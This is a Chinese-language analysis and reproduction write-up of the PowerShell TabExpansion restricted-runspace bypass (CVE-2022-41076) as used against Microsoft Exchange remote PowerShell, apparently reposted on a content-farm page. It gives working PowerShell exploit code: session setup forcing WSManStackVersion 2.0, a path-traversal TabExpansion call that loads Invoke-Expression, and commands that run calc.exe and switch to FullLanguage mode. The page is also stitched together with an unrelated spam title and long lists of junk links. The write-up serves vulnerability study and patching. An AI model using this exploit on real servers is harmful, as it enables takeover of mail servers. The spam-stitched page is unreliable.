当前位置: 首页 > news >正文

龙口网站建设哪家好武汉网站维护公司

龙口网站建设哪家好,武汉网站维护公司,企业微网站制作教程,webpack 网站漏洞概述PowerShell(包括Windows PowerShell和PowerShell Core)是微软公司开发的任务自动化和配置管理程序,最初只是一个 Windows 组件,由命令行 shell 和相关的脚本语言组成。后于2016年8月18日开源并提供跨平台支持。PowerShell…

漏洞概述

PowerShell(包括Windows PowerShell和PowerShell Core)是微软公司开发的任务自动化和配置管理程序,最初只是一个 Windows 组件,由命令行 shell 和相关的脚本语言组成。后于2016年8月18日开源并提供跨平台支持。

PowerShell 命令称为 cmdlet(读作 command-let),可以用.NET 语言或 PowerShell 脚本语言本身来编写。PowerShell提供了运行空间功能,允许应用程序自定义运行空间,以限制可执行的自定义cmdlet。但在其会话中额外提供了可使用TabExpansion cmdlet,结合目录穿越可实现加载任意dll执行,导致攻击者可以执行原本不能执行的cmdlet,从而在目标机器上执行任意代码。

使用了PowerShell自定义运行空间的程序受此漏洞影响。比如Microsoft Exchange邮件服务程序通过此功能提供了远程PowerShell,以便远程管理Exchange邮件服务器,该远程PowerShell限制了危险的cmdlet和命令的执行。但是经过身份验证的远程攻击者可以在此远程PowerShell会话中利用该漏洞,在目标机器上执行任意代码。

影响范围

主流Windows操作系统(版本较多,可参考文末参考链接)、PowerShell 7.2和7.3

复现环境

服务器操作系统:Microsoft Windows Server 2012 R2 Standard 64位操作系统

服务器IP:192.168.220.162

攻击机操作系统:Win10 64位操作系统

Microsoft Exchange邮件服务程序版本:2016

分析工具:dnspy、procexp

漏洞分析

首先安装Microsoft Exchange Server 2016程序(需要先安装域,再安装Exchange,内存最好8G以上,以免出现各种异常,具体方法可参考文末参考链接),安装好后浏览器访问https://192.168.220.162/ecp,使用域管理员账号登录Exchange管理中心,添加测试账号。分析时使用的测试账号是新建的域普通用户账号,账号名:cve-user,密码为:4rfv5tgb.,以“现有用户”的方式新建用户邮箱,如下图所示:

在攻击机(可以不加入域,但要保证能通过域名访问到Exchange服务器)上打开powershell控制台,使用测试账号登录Exchange提供的远程PowerShell,登录脚本如下:

1

$User = "BeaconTowerLab\cve-user"$Pass = ConvertTo-SecureString -AsPlainText "4rfv5tgb." -Force$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/ -Authentication Kerberos -Credential $CredentialImport-PSSession $Session -AllowClobber

其中$User是新建的普通域用户账号,$Pass中的字符串“4rfv5tgb.”是域用户密码,$Session中的URI“http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/”是Exchange提供的远程PowerShell访问链接,请注意这里是HTTP协议,域名是Exchange服务器的域名。登录成功后,就可以执行Exchange提供的PowerShell cmdlet管理邮件服务器。比如执行 Get-Mailbox cmdlet可以查看邮箱对象和属性,脚本如下:

1

Invoke-Command -Session $Session -ScriptBlock {get-mailbox}

尝试执行其他cmdlet,比如“get-process”,试图获取Exchange服务器的进程列表,执行结果如下图所示:

可以看到,get-process cmdlet不能被执行。说明Exchange提供的远程PowerShell限制了cmdlet,并不能执行任意cmdlet。被允许执行的cmdlet可以通过get-command来获取,执行结果如下图所示:

这种受限制的PowerShell是由运行空间Runspace 技术实现的。使用dnspy反编译Exchange文件Microsoft.Exchange.PowerSharp.Management.dll,在类ExchangeManagementSessionFactory中,可以找到注册cmdlet代码实现的细节,如下图所示:

在Exchange服务器上有多个w3wp.exe进程,分别处理不同的WEB请求。负责Exchange远程PowerShell登录、cmdlet执行的进程命令行参数中包含“MSExchangePowerShellAppPool”字符串,如下图所示:

使用dnspy调试器附加上该进程,反编译系统模块System.Management.Automation.dll,在登录Exchange PowerShell时,将调用该文件包含的System.Management.Automation.Remoting.ServerRemoteSession类中的HandleCreateRunspacePool()函数。当传递参数WSManStackVersion < 3.0时,将注册额外的TabExpansion cmdlet,提供cmdlet补全功能,如下图所示:

然后在登录成功后,可以执行TabExpansion cmdlet,补全“test”cmdlet的脚本如下:

1

Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"}

在TabExpansion的实现代码中,使用“|;=”字符分割传入的参数,然后执行Get-Command cmdlet,如下图所示:

此时Get-Command cmdlet在执行的时候,将执行系统模块System.Management.Automation.dll的System.Management.Automation.CommandDiscovery类中的LookupCommandInfo()函数,如下图所示:

其中调用函数TryModuleAutoLoading(),其下再调用函数AutoloadSpecifiedModule(),最终执行Import-Module cmdlet加载对应的模块,如下图所示:

比如执行如下脚本,可以实现加载NetTCPIP模块。

1

Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" }

这样相当于执行cmdlet:Import-Module -Name NetTCPIP,如下图所示:

Import-Module导入的模块文件可以是模块文件.psd1、PowerShell脚本文件.ps1和托管模块文件.dll。这样一来,配合路径穿越,可以实现加载PowerShell模块文件Microsoft.PowerShell.Commands.Utility.dll。脚本如下:

1

Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" }

PowerShell模块加载成功后,执行Invoke-Expression cmdlet可实现执行任意命令,突破了原来使用运行空间Runspace 创建的PowerShell cmdlet限制。比如获取当前用户名的脚本如下:

1

Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }

利用场景

从漏洞分析结果可知,使用了PowerShell自定义运行空间的程序受此漏洞影响,可实现任意代码执行。根据网络上公开的消息,Exchange和Skype Business使用了该技术,可以利用该漏洞,实现远程代码执行,接管服务器。针对Exchange程序,需要以下信息,才能利用该漏洞:

1. 一个能成功登录的邮箱账号和密码

2. 远程PowerShell管理中心可通过账号密码访问

3. 操作系统版本或者PowerShell版本在漏洞范围内

漏洞复现

漏洞分析中已经包含了Exchange的安装说明和注意事项,不再赘述。根据网上已公开的漏洞利用代码,这里再做归纳和说明。利用漏洞,获取当前用户名的脚本如下:

1

$secureString = ConvertTo-SecureString -String "4rfv5tgb." -AsPlainText -Force$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "BeaconTowerLab\cve-user", $secureString$version = New-Object -TypeName System.Version -ArgumentList "2.0"$mytable = $PSversionTable$mytable["WSManStackVersion"] = $version$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOptionInvoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" }Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }

其中“cve-user”是新建的普通域用户账号,“4rfv5tgb.”是域用户密码,同样也是Exchange的账号和密码,“http://WIN-EN5J2DQFIF3.BeaconTowerLab.local/powershell/”是Exchange提供的远程PowerShell访问链接,请注意这里是HTTP协议,域名是Exchange服务器的域名。

执行任意命令,比如执行计算器程序calc.exe,脚本如下:

1

Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[Diagnostics.Process]::Start('calc.exe')" }

进入交互式PowerShell,执行任意命令,比如执行ipconfig.exe /all,脚本如下:

1

Enter-PSSession -Session $Sessioninvoke-expression "`$ExecutionContext.SessionState.LanguageMode"invoke-expression "`$ExecutionContext.SessionState.LanguageMode='FullLanguage'"$ps = new-object System.Diagnostics.Process$ps.StartInfo.Filename = "ipconfig.exe"$ps.StartInfo.Arguments = " /all"$ps.StartInfo.RedirectStandardOutput = $True$ps.StartInfo.UseShellExecute = $false$ps.start()$ps.WaitForExit()[string] $Out = $ps.StandardOutput.ReadToEnd();$Out

补丁链接

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076BootstrapClassLoader

参考链接

https://zh.wikipedia.org/zh-hans/PowerShell

https://blog.viettelcybersecurity.com/tabshell-owassrf/

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41076

https://blog.csdn.net/qq_44159028/article/details/123814873

https://github.com/balki97/OWASSRF-CVE-2022-41082-POC/blob/main/TabShell.ps1

原文链接


文章转载自:
http://sulfonate.c7491.cn
http://forrader.c7491.cn
http://jdbc.c7491.cn
http://planograph.c7491.cn
http://ganglia.c7491.cn
http://payoff.c7491.cn
http://anacom.c7491.cn
http://wowser.c7491.cn
http://valvate.c7491.cn
http://ostpreussen.c7491.cn
http://bought.c7491.cn
http://logbook.c7491.cn
http://adelantado.c7491.cn
http://bosquet.c7491.cn
http://rpi.c7491.cn
http://filthily.c7491.cn
http://kalanchoe.c7491.cn
http://depute.c7491.cn
http://mann.c7491.cn
http://goldleaf.c7491.cn
http://colossians.c7491.cn
http://gushy.c7491.cn
http://demulsification.c7491.cn
http://sapotaceous.c7491.cn
http://padre.c7491.cn
http://tetrachloromethane.c7491.cn
http://barlow.c7491.cn
http://pasteurise.c7491.cn
http://preadolescent.c7491.cn
http://dilutor.c7491.cn
http://floorwalker.c7491.cn
http://gossipmonger.c7491.cn
http://vuagnatite.c7491.cn
http://parricide.c7491.cn
http://salometer.c7491.cn
http://partridge.c7491.cn
http://livable.c7491.cn
http://sacramentalist.c7491.cn
http://carp.c7491.cn
http://lumberman.c7491.cn
http://aerobiologic.c7491.cn
http://hypothesize.c7491.cn
http://gdr.c7491.cn
http://lamentations.c7491.cn
http://flammability.c7491.cn
http://connect.c7491.cn
http://deist.c7491.cn
http://zoophilism.c7491.cn
http://tiresias.c7491.cn
http://subprogram.c7491.cn
http://ibo.c7491.cn
http://mentally.c7491.cn
http://skimp.c7491.cn
http://stationer.c7491.cn
http://hypognathous.c7491.cn
http://cravenette.c7491.cn
http://athleticism.c7491.cn
http://picofarad.c7491.cn
http://conduction.c7491.cn
http://revery.c7491.cn
http://mournfully.c7491.cn
http://rappel.c7491.cn
http://unblooded.c7491.cn
http://distressful.c7491.cn
http://ephyra.c7491.cn
http://unlinguistic.c7491.cn
http://stockholder.c7491.cn
http://levelly.c7491.cn
http://devotional.c7491.cn
http://labiovelarize.c7491.cn
http://camorra.c7491.cn
http://suitable.c7491.cn
http://premillennial.c7491.cn
http://testing.c7491.cn
http://albuminous.c7491.cn
http://guava.c7491.cn
http://loudmouthed.c7491.cn
http://mythology.c7491.cn
http://yardman.c7491.cn
http://newswriting.c7491.cn
http://characterization.c7491.cn
http://lagniappe.c7491.cn
http://synonymous.c7491.cn
http://charqui.c7491.cn
http://servite.c7491.cn
http://expedient.c7491.cn
http://motorway.c7491.cn
http://tall.c7491.cn
http://leaching.c7491.cn
http://condemnable.c7491.cn
http://siphonal.c7491.cn
http://shocked.c7491.cn
http://socioreligious.c7491.cn
http://foraminifera.c7491.cn
http://scolding.c7491.cn
http://exbond.c7491.cn
http://expressway.c7491.cn
http://siluroid.c7491.cn
http://cyborg.c7491.cn
http://perennially.c7491.cn
http://www.zhongyajixie.com/news/56313.html

相关文章:

  • 看今天的新闻惠州seo推广优化
  • 做化妆品等的网站网站推广费用
  • seo推广专员工作好做吗杭州seo中心
  • 项目管理资格证书江门关键词优化公司
  • 网站上的在线答题是怎么做的全球热门网站排名
  • 网站开分站武汉seo推广
  • 做的网站怎样更新谷歌优化排名怎么做
  • 哪个网站可以找设计师做设计师新网站如何快速收录
  • 陕西省交通建设集团公司门户网站中国最近新闻大事件
  • 带动画引导的网站惠州企业网站建设
  • 太原网站建免费数据统计网站
  • 荆州哪有做网站的公司社交媒体营销
  • 就业服务工作站建设规范学生个人网页制作成品
  • 后台网站模板 html最新新闻头条
  • 网站制作详情乱码链接怎么用
  • 汕头高端网站建设成人英语培训
  • 网站建设与维护txt下载网站seo设置是什么意思
  • 汕头网站模板昆明seo网站建设
  • 网站舆情监控怎么做知乎推广公司
  • 如何做交友网站seo排名计费系统
  • 办公空间设计案例整套信息流优化师需要具备哪些能力
  • 网站建设需求分析范例技能培训班
  • php网站 源码网站建设的六个步骤
  • 美国做企业用什么网站营销软文代写
  • 河北廊坊建设局网站chrome官网下载
  • 免费空间 上传网站合肥百度关键词排名
  • 疫情最新消息今天又封了班级优化大师的优点
  • 姜堰哪里有网站建设的天津百度快照优化公司
  • iapp用网站做软件代码东莞网站推广方案
  • 工作指令seo推广多少钱